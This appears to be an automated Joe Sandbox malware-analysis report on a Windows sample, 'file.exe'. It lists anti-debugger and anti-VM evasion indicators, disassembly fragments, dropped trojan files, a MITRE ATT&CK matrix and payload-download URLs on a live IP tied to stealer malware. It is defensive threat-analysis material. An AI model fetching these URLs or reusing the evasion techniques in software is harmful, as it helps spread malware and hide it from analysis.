Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91A34 second address: 4D91AD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FFAA4B0AF1Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FFAA4B0AF21h 0x00000017 or esi, 53E70866h 0x0000001d jmp 00007FFAA4B0AF21h 0x00000022 popfd 0x00000023 mov eax, 5C89F897h 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FFAA4B0AF24h 0x00000031 add cx, 0338h 0x00000036 jmp 00007FFAA4B0AF1Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 call 00007FFAA4B0AF22h 0x00000047 pop esi 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91AD3 second address: 4D91AF8 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, 59151EF3h 0x0000000c popad 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAA4EF80D5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00C8 second address: 4DA00CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00CE second address: 4DA00D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00D2 second address: 4DA00D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00D6 second address: 4DA0141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FFAA4EF80D9h 0x00000010 sub si, B586h 0x00000015 jmp 00007FFAA4EF80D1h 0x0000001a popfd 0x0000001b mov eax, 69225737h 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 pushad 0x00000023 call 00007FFAA4EF80D8h 0x00000028 mov ch, 44h 0x0000002a pop ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d call 00007FFAA4EF80CAh 0x00000032 pop esi 0x00000033 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8257B0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CEE36 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CF1F8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CDB93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9F3F4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A5BB78 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009AE7D5 rdtsc

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7604	Thread sleep time: -52026s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7608	Thread sleep time: -52026s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 160 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 179 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 176 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 176 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 56 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 36 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 55 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 81 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 79 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 80 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7572	Thread sleep count: 81 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7680	Thread sleep time: -36000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7612	Thread sleep count: 33 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7612	Thread sleep time: -66033s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7588	Thread sleep time: -34017s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7596	Thread sleep time: -50025s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7592	Thread sleep time: -38019s >= -30000s			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2403940495.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2405607340.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009AE7D5 rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EECABB push dword ptr fs:[00000030h]		0_2_00EECABB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B50D90 mov eax, dword ptr fs:[00000030h]		0_2_04B50D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5092B mov eax, dword ptr fs:[00000030h]		0_2_04B5092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B59C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B59C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A947 SetUnhandledExceptionFilter,		0_2_04B5A947

Source: file.exe, file.exe, 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: z?wProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_04D196AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	4 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	50%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\eJeEe574sR26w1rs\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/files/downloadSs9	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download2	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/key5	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downloadws	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download.	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/keyU	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empB	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadGs-	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadws	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/downloadv5	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downloadSs9	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadMsW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/downloadws	file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download.	file.exe, 00000000.00000002.2403940495.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadSs9	file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download2	file.exe, 00000000.00000002.2403940495.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/key5	file.exe, 00000000.00000002.2403940495.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/keyU	file.exe, 00000000.00000002.2403940495.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empB	file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadGs-	file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadws	file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/downloadv5	file.exe, 00000000.00000002.2405607340.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://80.82.65.70/soft/downloadSs9	file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2155798821.00000000059B2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154673575.000000000586D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155912759.0000000005A41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155032478.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156925842.00000000059C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156558413.000000000596F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154029124.0000000005692000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadMsW	file.exe, 00000000.00000003.2154673575.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154080791.00000000058D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122674612.00000000058D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572088
Start date and time:	2024-12-10 04:48:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 20.12.23.50, 40.126.53.8, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:49:25	API Interceptor	143x Sleep call for process: file.exe modified
22:50:09	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
